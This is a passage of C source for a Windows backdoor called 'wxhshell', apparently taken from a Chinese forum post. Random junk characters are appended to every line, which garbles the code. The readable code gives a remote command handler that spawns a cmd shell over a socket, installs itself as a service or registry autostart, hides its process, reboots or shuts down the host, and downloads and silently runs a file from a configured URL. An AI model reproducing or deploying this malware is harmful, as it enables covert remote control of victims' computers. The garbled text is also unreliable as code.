n4}e!  
    switch(cmd[0]) { twbxi{8e.  
  &rPAW V'v  
  // 帮助 6PS[OB{3  
  case '?': { SBDGms  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FH$q,BI!R  
    break; _G'A]O/BZD  
  } x#zj0vI-8  
  // 安装 ,tg(aL  
  case 'i': { HJ0;BD.]  
    if(Install()) o8hE.pf&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @EyB^T/  
    else `NEi/jB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IA[:-2_  
    break; S $o1Q  
    } B'`25u_e<  
  // 卸载 EN":}!E:  
  case 'r': { g;nLR<]  
    if(Uninstall()) v2p0EOS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) jvI Nb  
    else re}PpXRC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r)K5<[\r  
    break; [?O4l`  
    } 1sonDBd0@;  
  // 显示 wxhshell 所在路径 MuP>#Vk  
  case 'p': { _<Ij)#Rq7  
    char svExeFile[MAX_PATH]; ,9_O4O%  
    strcpy(svExeFile,"\n\r"); wAX;)PLg  
      strcat(svExeFile,ExeFile); ">eled)O  
        send(wsh,svExeFile,strlen(svExeFile),0); !IO\g"y~|%  
    break; Yh fQ pe  
    } [{)Z^  
  // 重启 q5'G]j{,Z  
  case 'b': { pPo(nH|<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?_A[E]/H  
    if(Boot(REBOOT)) d!Gy#<H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]7yxXg  
    else { 3(,m(+J[S  
    closesocket(wsh); y,ub*-:  
    ExitThread(0); P3Lsfi.  
    } CV\y60n  
    break; vTK8t:JQ~  
    } \b8#xT}  
  // 关机 V@b7$z  
  case 'd': { H^@Hco>|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H-v[ShE  
    if(Boot(SHUTDOWN)) %Q &']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F'|e:h  
    else { ?CC.xE  
    closesocket(wsh); T6=|)UTe1  
    ExitThread(0); V+@}dJS  
    } ,Tegrz&G  
    break; {Q_GJ  
    } a7F_{Mm  
  // 获取shell $;Iz7:#jN  
  case 's': { Jvsy 6R  
    CmdShell(wsh); bu_@A^ys  
    closesocket(wsh); d,(q 3  
    ExitThread(0); U1E@pDH  
    break; v {uq  
  } 2 rf8)8':  
  // 退出 n8_X<jIp3  
  case 'x': { =N{?ll6x7g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :l!sKT?:d!  
    CloseIt(wsh); /#(IV_Eol  
    break; k} &wy  
    } Ka-o$o[^u`  
  // 离开 p I8z.JD  
  case 'q': { Tj_K5uccU}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UXdc'i g  
    closesocket(wsh); Qj_)^3`e  
    WSACleanup(); x>TIx[ x  
    exit(1); }5(_gYr  
    break; Cb?  !+U  
        } h9<PP2.(  
  } X1a~l|$h  
  } CrL9|78  
]BbV\#  
  // 提示信息 3%1wQXr0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M:%g)FgW  
} FK~wr;[  
  } rOt{bh6r  
%7aJSuQN%  
  return; z _\L@b  
} R+(f~ j'  
3ej237~F,L  
// shell模块句柄 ]GY8f3~|{  
int CmdShell(SOCKET sock) 8Nyz{T[  
{ 'iZwM>l\  
STARTUPINFO si; [ij) k@.  
ZeroMemory(&si,sizeof(si)); \ moLQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {nUmlP=mS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^\Q,ACkZb  
PROCESS_INFORMATION ProcessInfo; 2)|=+DN;  
char cmdline[]="cmd"; #-G@p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ot`%5<E^  
  return 0; fx(8 o+  
} #<9'{i3  
% R25,  V  
// 自身启动模式 d$bO.t5CLh  
int StartFromService(void) P![ZO6`:W'  
{ ,e;,+w=~E  
typedef struct 3))R91I  
{ Ua 6O~,\  
  DWORD ExitStatus; #iv4L  
  DWORD PebBaseAddress; SH=S>  
  DWORD AffinityMask; I5l%X{u"N  
  DWORD BasePriority; JkT!X  
  ULONG UniqueProcessId; 85Yi2+8f4  
  ULONG InheritedFromUniqueProcessId; '[F`!X  
}   PROCESS_BASIC_INFORMATION; hp2E! Cma  
bF_0',W  
PROCNTQSIP NtQueryInformationProcess; $poIWJMc  
gAsmPI.K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qu=b-9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U= f9b]Y  
h~Z &L2V  
  HANDLE             hProcess; zc;kNkV#1Y  
  PROCESS_BASIC_INFORMATION pbi; KO#kIM-  
k# Ho7rS&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kJf0..J[#<  
  if(NULL == hInst ) return 0; ),B/NZ/-  
R--s u:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )rj!/%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RS}_cm0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l{C]0^6>i  
XfVdYmii  
  if (!NtQueryInformationProcess) return 0; UMd.=HC L  
hN=kU9@knC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NdLe|L?c  
  if(!hProcess) return 0; cRr3!<EZ  
{[Ri:^nHgL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T?!SEblP]  
"'Fvt-<^S7  
  CloseHandle(hProcess); IO8 @u;&  
,~Xe#e M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |&WYu,QQ4  
if(hProcess==NULL) return 0; O]hUOc `k  
qtZzJ>Y  
HMODULE hMod; M$ieM[_T  
char procName[255]; *'aJO }$  
unsigned long cbNeeded; +,)k@OI  
ll$mRC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uuFQTx))  
WeH_1$n5  
  CloseHandle(hProcess); We}9'X}  
T>| hID  
if(strstr(procName,"services")) return 1; // 以服务启动 PP'5ANK  
,=Wj*S)~  
  return 0; // 注册表启动 H'YKj'  
} Zh;}Q(w  
t6KKfb  
// 主模块 > _sSni  
int StartWxhshell(LPSTR lpCmdLine) L{>rN`{  
{ ~?b1x+soV  
  SOCKET wsl; ,.*D f)+  
BOOL val=TRUE; yY UAH-  
  int port=0; j1{`}\e  
  struct sockaddr_in door; }6%\/d1~ 6  
t-C|x)J+  
  if(wscfg.ws_autoins) Install(); ]Bf1p  
>E4,zs@7t  
port=atoi(lpCmdLine); |iBf6smF  
CT|0KB&  
if(port<=0) port=wscfg.ws_port; UQh.o   
8h|}Q_  
  WSADATA data; sRcd{)|Cq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $04lL/;  
}\8-&VoY#X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6o6yx:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fI0"#i v}  
  door.sin_family = AF_INET; P(8Yz W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vS5}OV  
  door.sin_port = htons(port);  }E(w@&  
(_}q>3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B:v_5e\f@  
closesocket(wsl); `fEzE\\!*  
return 1; [|*7"Q(  
} u?SwGXi~8  
cOpe6H6,bz  
  if(listen(wsl,2) == INVALID_SOCKET) { tk'&-v'h  
closesocket(wsl); wV f 7<@/y  
return 1; RE4#a 2  
} RF2I_4  
  Wxhshell(wsl); I(BJ1 8F$  
  WSACleanup(); wY\,b*x  
dI7rx+L  
return 0; lbovwj  
$0$sDN6)x  
} :/][ n9J^  
0~$9z+S  
// 以NT服务方式启动 Nes|4Z<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4pXY7+e2'  
{ RZpjr !R  
DWORD   status = 0; xE--)=<$  
  DWORD   specificError = 0xfffffff; KV;q}EyG  
R|qNyNXo[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5X];?(VTsb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Px?"5g#+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1nvT={'R  
  serviceStatus.dwWin32ExitCode     = 0; [Pp#r&4H  
  serviceStatus.dwServiceSpecificExitCode = 0; *!`&+w  
  serviceStatus.dwCheckPoint       = 0; X{!,j}  
  serviceStatus.dwWaitHint       = 0; Q-R?y+| x  
Oz(=%oS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m!<FlEkN  
  if (hServiceStatusHandle==0) return; tuwlsBV  
`:r-&QdU o  
status = GetLastError(); .e3@fq  
  if (status!=NO_ERROR) E3S0u7 Es  
{ snkMxc6c[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n?OMfx  
    serviceStatus.dwCheckPoint       = 0; *HV_$^)=  
    serviceStatus.dwWaitHint       = 0; TK'y-5W  
    serviceStatus.dwWin32ExitCode     = status; IpzU=+h  
    serviceStatus.dwServiceSpecificExitCode = specificError; m$_l{|4z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *tpS6{4=#7  
    return; A 9l d9R  
  } 9 {SzE /[  
"X?Zw$gRud  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xgNV0;g,  
  serviceStatus.dwCheckPoint       = 0; ZWuNl!l>  
  serviceStatus.dwWaitHint       = 0; 0;`FS /[(f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %UooZO  
} pg,JYn  
.sj/Lw}  
// 处理NT服务事件,比如:启动、停止 3''Kg<k,I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j8?! J^TC  
{ K9ih(fh)  
switch(fdwControl) dQp>z%L)  
{ vzSjfv  
case SERVICE_CONTROL_STOP: Bmt8yR2  
  serviceStatus.dwWin32ExitCode = 0; bY,dWNS:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UHfE.mTjM  
  serviceStatus.dwCheckPoint   = 0; ~LF M,@  
  serviceStatus.dwWaitHint     = 0; L* 6<h  
  { CUC]-]8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #] Do_Z  
  } ;cL+= !  
  return; nHXPEbq-g  
case SERVICE_CONTROL_PAUSE: 9w&CHg7D i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dW5r]D[Cx  
  break; u0?TMy.%  
case SERVICE_CONTROL_CONTINUE: Jz&dC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IJPyCi)  
  break; OOnj(%g  
case SERVICE_CONTROL_INTERROGATE: ^ -~=U^2tC  
  break; 2|RxowXZ"  
}; ^l ;Bo3^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !_c6 `oW  
} z8D,[`  
I) *J,hs1  
// 标准应用程序主函数 =:R${F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dYwEVu6q  
{ $j(4FyH\  
%M^Q{` :5  
// 获取操作系统版本 W S9:*YH  
OsIsNt=GetOsVer(); i8EKzW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w}07u5  
Ut1s~b1  
  // 从命令行安装 MD4m h2  
  if(strpbrk(lpCmdLine,"iI")) Install();  ]5ibg"{S  
T# tFzbr  
  // 下载执行文件 /d }5R@Oy  
if(wscfg.ws_downexe) { 7n;a_Z0s$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wc}x [cS  
  WinExec(wscfg.ws_filenam,SW_HIDE); }+[!h=Bx  
} ?"}U?m=  
0,__{?!  
if(!OsIsNt) { v )2yR~J  
// 如果时win9x,隐藏进程并且设置为注册表启动 {JKG-0)z?  
HideProc(); oOXJ7 |n  
StartWxhshell(lpCmdLine); n*|8 (fD  
} 1T,Bd!g  
else %>O}bdSf  
  if(StartFromService()) Xpkj44cd@  
  // 以服务方式启动 >A6PH*x  
  StartServiceCtrlDispatcher(DispatchTable); %2G3+T8*x  
else %md9ou`  
  // 普通方式启动 lY |]  
  StartWxhshell(lpCmdLine); Mcd K!V  
 NY[48H  
return 0; F[v^43-^_  
}
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只看该作者 1 发表于: 2006-10-10
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